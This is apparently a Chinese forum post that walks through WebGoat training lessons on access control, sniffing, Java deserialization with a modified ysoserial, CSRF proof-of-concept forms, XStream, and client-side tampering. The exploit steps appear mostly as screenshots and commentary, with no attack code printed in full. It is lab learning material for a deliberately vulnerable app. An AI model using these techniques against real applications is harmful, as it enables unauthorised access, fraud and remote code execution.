![](https://bbs.zkaq.cn/upload/md/058a6cfdb03e95a4ab391d79ddd27de2_39897.png)

**说明这个页面访问控制做的没问题，那我们就去user界面试一下**

![](https://bbs.zkaq.cn/upload/md/950067cc2d79da994bd807e8f9ba304a_36411.png)

**想要注册个管理员用户那我们再添加一个role，给他定义一下不就好了**

![](https://bbs.zkaq.cn/upload/md/303d66134fa7e6ee9711316f1576e8e5_40355.png)

**嘿嘿我们登录下试试**

![](https://bbs.zkaq.cn/upload/md/b12c360f2c52ee6d7dc0558732bb0e1f_65248.png)

**现在是管理员了，那我们可以直接到相应界面看信息了，有点意思嘿嘿(研究这个把环境差点整崩溃，然后数据都丢了有点惨)**

![](https://bbs.zkaq.cn/upload/md/f778150fff98b2fc92dad68e030ef0d4_74547.png)

##第六关Insecure Communication

**lensson1简单介绍了下，大意就是明文传输了，能被嗅探到，不安全**

![](https://bbs.zkaq.cn/upload/md/6231e6a8852a03e6241951f358b078ed_99961.png)

**lesson2，按照他说的我们嗅探下（这里点击login抓包就能获得，真实环境就需要嗅探了），然后输入数据**

![](https://bbs.zkaq.cn/upload/md/ff8b03e4511bb203b06a51a84637126a_66161.png)

**过关**

![](https://bbs.zkaq.cn/upload/md/9de60006686b49217ff0961f5f0e9b74_73246.png)

##第七关Insecure Deserialization

![](https://bbs.zkaq.cn/upload/md/a68f76f640ad42259af1ac5e13c6ceef_89551.png)

**lesson1-lesson4都是在讲解Java序列化和反序列化，我这里推荐下菜鸟教程的讲解[Java序列化](https://www.runoob.com/java/java-serialization.html "Java序列化")**

![](https://bbs.zkaq.cn/upload/md/ec382358ea8a843212025f64b6ee51e0_59422.png)

**lesson5，让写个payload，先序列化，然后输入令其页面延时5s**

![](https://bbs.zkaq.cn/upload/md/648c2153d27631e63429b48f48f21fe6_98423.png)

**这道题困扰了我两天，因为我并不熟悉java，更不熟悉Java的序列化，闲话少说，上干货，先对所给的序列化后的字符串进行分析**
```
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l
```
**刚拿到的时候一脸懵逼，第一次接触Java的反序列化，然后就想着能不能base64解码啥的（开始不知道base64和base64url之分），这里利用了burp解码**

![](https://bbs.zkaq.cn/upload/md/490869a2a61e3139b524799b7e11b089_19944.png)

**发现确实存在编码，但这个现在并没有啥用，之后用了个burp的插件[Java-Deserialization-Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner/releases "Java-Deserialization-Scanner")可以检测Java反序列化是否存在**

![](https://bbs.zkaq.cn/upload/md/aaf9a46e07c2127bb4262a1300999beb_85519.png)

**抓包，然后检测是否存在反序列化**

![](https://bbs.zkaq.cn/upload/md/d20a013e6ac00868c5a9c1bc730abbd9_87752.png)

![](https://bbs.zkaq.cn/upload/md/1ff72d947e5de2a86ded8ed28b281fe9_21371.png)

**检测出来了，然后还需要一个工具[ysoserial](https://github.com/frohoff/ysoserial "ysoserial")，因为Java-Deserialization-Scanner是通过ysoserial生成Payload的，然后进行配置**

![](https://bbs.zkaq.cn/upload/md/6fcfa85b23dabf49d5cdf58617917287_24477.png)

**如果直接攻击会出现错误，需要对路径：ysoserial-master\src\main\java\ysoserial\payloads\util\Gadgets.java的代码做下修改（github能下载源码）**

![](https://bbs.zkaq.cn/upload/md/7a357bccd36087491f50f28e3ae1b703_49001.png)

![](https://bbs.zkaq.cn/upload/md/f5b264586a245f8e7141814783c839bf_18551.png)

**利用maven对修改后的ysoserial重新编译(如果-Dhibernate5不可以就换成-Phibernate5)**
> -D 指定参数，如 -Dmaven.test.skip=true 跳过单元测试；
> -P 指定 Profile 配置，可以用于区分环境；

![](https://bbs.zkaq.cn/upload/md/9b4b9bb413d442a28c9b29d7d4c02506_90385.png)

![](https://bbs.zkaq.cn/upload/md/bb40a7f5ef4dd501c8916625218d6bde_76992.png)
**然后重新配置yoserial路径**

![](https://bbs.zkaq.cn/upload/md/3f7997dfe5d2b906b91563afd7985a71_71224.png)

**构造payload进行攻击**

![](https://bbs.zkaq.cn/upload/md/c0ec859c69367e59348f5731a003ec18_11015.png)

**弹出计算器，说明可以用，但是sleep不知道为啥就是不行，然后弹计算机五秒后他就成功了**

![](https://bbs.zkaq.cn/upload/md/ea984ad54197425c111e880203db297a_23863.png)

##第八关Request Forgeries

![](https://bbs.zkaq.cn/upload/md/2b8d7ebfa74954e1ffb1abc62848ba2d_91312.png)

**lesson1-2简单的liy介绍了下csrf以及最简单的利用**

**lesson3，要求外部触发表单然后会返回一个数值flag，比较简单利用burp就可以实现**
**抓取表单数据包，并生成csrf poc**

![](https://bbs.zkaq.cn/upload/md/3b3a9918ac1f14c1000748a0b5aff04a_70606.png)

**本地创建个html文件打开，并提交表单**

![](https://bbs.zkaq.cn/upload/md/fb6e725770d16cbd74a54824e1d82cf6_84266.png)

![](https://bbs.zkaq.cn/upload/md/70b5f1a2c84dd8a42e387cc4dcecdcec_66822.png)

**输入flag过关**

![](https://bbs.zkaq.cn/upload/md/32b4bbbb38aab6d28a0da33aee75634b_81892.png)

**lesson4,和lesson3差不多，这次是编写好消息后抓包，建立个html**

![](https://bbs.zkaq.cn/upload/md/67ba08cc98a0dc5009d505974973fca6_81149.png)

![](https://bbs.zkaq.cn/upload/md/71d3f81567ba347e99343a8acd50051e_46937.png)

**打开发送，发现错误**

![](https://bbs.zkaq.cn/upload/md/d8be7d7b01103827fc44e826981b9c9f_13908.png)

**更改下值，将第二个框改为数字，在发送过关**

![](https://bbs.zkaq.cn/upload/md/d25adcc7300258b0c283c441bf1839bb_70779.png)

**lesson5和lesson6进一步讲解了csrf以及防御**

**lesson7和之前一样，利用burp抓包生成poc然后生成html**

![](https://bbs.zkaq.cn/upload/md/c6da96fb9d3ecc3d24a779defd5840e5_90502.png)

![](https://bbs.zkaq.cn/upload/md/7a19fb77c46572b78ec4a15234a470a5_42973.png)

**输入flg，过关**

![](https://bbs.zkaq.cn/upload/md/f3f2fd1d701555bd20a45b11b967c5d5_32491.png)

**lesson8，先创建个csrf-用户**

![](https://bbs.zkaq.cn/upload/md/ad38040b565772820defef168de65ae6_45573.png)

**然后切换用户登点击，过关**

![](https://bbs.zkaq.cn/upload/md/011f59018eb18b132ca4c0059816615a_95821.png)

**lesson8的大概思路，其实是在说用户在访问的时候跳转了攻击者的csrf，利用了攻击者账户登录，用户的活动信息就被暴露了，和xss不一样的是csrf是具有跨源性的**

**lesson9讲了csrf的影响和防范**

##第九关Vulnerable Components - A9

![](https://bbs.zkaq.cn/upload/md/6ab4400905dbbe6279aaa5e8a0c4b279_62911.png)

**lesson1-4,主要在介绍组件**

![](https://bbs.zkaq.cn/upload/md/73172c2e8e83b466809d93d00e1ba9e1_65034.png)

**lesson5，用小测的形式表达了一个概念，那就是相同源码，但是不同组件可能会造成同的影响**

**同是webgoat源码，jquery-ui:1.10.4没有防范xss**

![](https://bbs.zkaq.cn/upload/md/57d871fc8465598d51704f8c66501e00_59279.png)

**jquery-ui:1.12.0，不易收到攻击**

![](https://bbs.zkaq.cn/upload/md/0635b716fb2eafc61559e317dad6cbc9_26115.png)

**lesson6-10进一步讲了下有关开源组件安全问题，lesso11讲了有关开源组件风险的例子，其中最主要的是Xstream，也是接下来的练习**

**先简单的了解下什么是XStream，XStream是一个简单的基于Java库，Java对象序列化到XML，反之亦然(即：可以轻易的将Java对象和xml文档相互转换)。**

**lesson12，Xstream组件漏洞，我们用Luyten对WebGoat反编译，然后发现xstream是1.47版本的**

![](https://bbs.zkaq.cn/upload/md/6e2cd9e7f4473eba59a24bb52af13606_73643.png)

**看了下lesson11所给的cve，知道了之前爆的漏洞（测试了1.46，但是这里没有写），我们分析下1.47**

![](https://bbs.zkaq.cn/upload/md/e919eb338d4bfc30c7450f862d289cf9_49035.png)

**可以看出当处理的Class为java.beans.EventHandler时，ReflectionConverter将认为不能处理，所以1.47是安全的，那我们分析webgoat的源码看看吧**

![](https://bbs.zkaq.cn/upload/md/4467f8447d4d9644f3d2067df6d0e2af_57888.png)

![](https://bbs.zkaq.cn/upload/md/b7e68344dde32fe795285ea2bd27fe72_30611.png)

**简单的理解就是，将用户输入的XML并将该其反序列化为对象**

**我们再看下contact.java**

![](https://bbs.zkaq.cn/upload/md/4d76edd5b783b67b1b9a5c334b14050e_51946.png)

**只有一个name，构造xml，过关**

![](https://bbs.zkaq.cn/upload/md/bb2a158a1c56954c26e25e7b2d045796_55412.png)

**lesson13,对整饥节内容做了个总结，主要内容就是，开源组件漏洞不可忽视**

##第十关Client side

![](https://bbs.zkaq.cn/upload/md/853322a970d91b63ee952678852c3122_70700.png)

###Bypass front-end restrictions

![](https://bbs.zkaq.cn/upload/md/39063cd1855d6729bd004793bbbc04d9_76051.png)

**lesson1，简单介绍下了前端绕过的常用方法（本人常用burp还有hackbar）

**lesson2,简单的前端绕过，通过右击查看元素，修改前端代码进行绕过**

![](https://bbs.zkaq.cn/upload/md/033e023cf5f903f522a44a18bd38f758_52823.png)

**过关**

![](https://bbs.zkaq.cn/upload/md/948fffcce369fd48bd78c0b6b4265984_86648.png)

**lesson3，大意就是说，在发送前会有前端先验证下，所以我们需要用到工具了**
**正则限制了，为了验证我们所有后面都加个“.”**

![](https://bbs.zkaq.cn/upload/md/5e69b78758a19f10905b3d5cdbebf9ad_11460.png)

**用burp抓包，然后进行修改**

![](https://bbs.zkaq.cn/upload/md/4a4f17b547fb616900cd69170233a805_10620.png)

![](https://bbs.zkaq.cn/upload/md/202c0ef94884131d3ce776c8746ff9b2_46681.png)

**过关**

![](https://bbs.zkaq.cn/upload/md/14b6d9a68093c26bfeb479c53dfc1012_79969.png)

###Client side filtering

![](https://bbs.zkaq.cn/upload/md/e34b2c50523629d344a8c8d3be88ecd7_20217.png)

**lesson1,大概意思就是通过绕过前端验证漏洞进行越权**

**lesson，让我们找ceo工资（两个方法）**

**方法一（很笨），查看下拉选项元素后发现有个id，那我们改一下试试**

![](https://bbs.zkaq.cn/upload/md/a8c55cb4ab0f685bd37e5192f5a78192_38859.png)

**过关，但是这种就得一个一个的测试，很笨**

![](https://bbs.zkaq.cn/upload/md/554cf8dbd756b9a4606629b5656eab49_47674.png)

**方法二，同样查看元素，然后我们发现有隐藏的table（也可以取消隐藏），直接找到ceo**

![](https://bbs.zkaq.cn/upload/md/d9e677383a3e0cb82897ed0aed3d7e3b_12769.png)

**lesson3，让我们免费购物，然后查看元素发现**

![](https://bbs.zkaq.cn/upload/md/55257bb8169b8f9d55733f27a1c1483b_21109.png)

**随便输入一个抓包看看**

![](https://bbs.zkaq.cn/upload/md/51b8eb0b22b8d031881adabc438166ee_37483.png)

![](https://bbs.zkaq.cn/upload/md/fe84de0301e399b6929211b51af51fa2_63693.png)

**抓到两个数据包，我们重放包看一下返回值**

![](https://bbs.zkaq.cn/upload/md/9b908061425519d577954150427724fd_29905.png)

**跟改url，获取所有优惠code，输入过关**

![](https://bbs.zkaq.cn/upload/md/0a5a7af4e96f3f879dbc74f41d25899d_70832.png)

![](https://bbs.zkaq.cn/upload/md/e67486e549ad2f5c189808d452a6c255_41961.png)

###HTML tampering

![](https://bbs.zkaq.cn/upload/md/b75c037cc16fb2de85077e449da032fd_80284.png)

**lesson1,简单的介绍了下前端篡改的概念**

**lesson2，篡改前端以达到0元购**
**type更改为text，然后修改价格（这个是隐藏的input）**

![](https://bbs.zkaq.cn/upload/md/f6ca60722caa9539ff692d6f4ba2a26e_26165.png)

![](https://bbs.zkaq.cn/upload/md/e5e963d0403ded1c04b129167be11a02_98797.png)

**提交过关**

![](https://bbs.zkaq.cn/upload/md/47adb82ddebf746654339d8977afdd7d_17320.png)

##最后一关Challenges

![](https://bbs.zkaq.cn/upload/md/5ff24dbb7a08717eb4c506b0041438fe_95053.png)

**一起来好好玩耍吧，这关我将单独记录**

##时间轴
1.2020.1.8 12:45 发布第一关General
2.2020.1.8 15.11 发布第二关Injection Flaws
3.2020.1.9 12:51 补充第二关的xxe
4.2020.1.10 11:52 发布第三关Authentication Flaws
5.2020.1.10 16:28 补充第三关的Password reset
6.2020.1.13 13:40 发布第四关Cross-Site Scripting (XSS)
7.2020.1.14 14:11 发布第五关Access Control Flaws
8.2020.1.20 11:34 发布剩下所有关卡

打赏我,让我更有动力~

3 条回复 | 直到 2020-1-30 | 1780 次浏览

骚骑
发表于 2020-1-9

评论列表

加载数据中...

编写评论内容

admin
发表于 2020-1-11

评论列表

加载数据中...

编写评论内容

admin
发表于 2020-1-30

评论列表

加载数据中...

编写评论内容

登录后才可发表内容

骚骑WebGoat闯关笔记

评论列表 默认排序 默认排序 最新回复

评论列表 默认排序 默认排序 最新回复

评论列表 默认排序 默认排序 最新回复

评论列表

评论列表

评论列表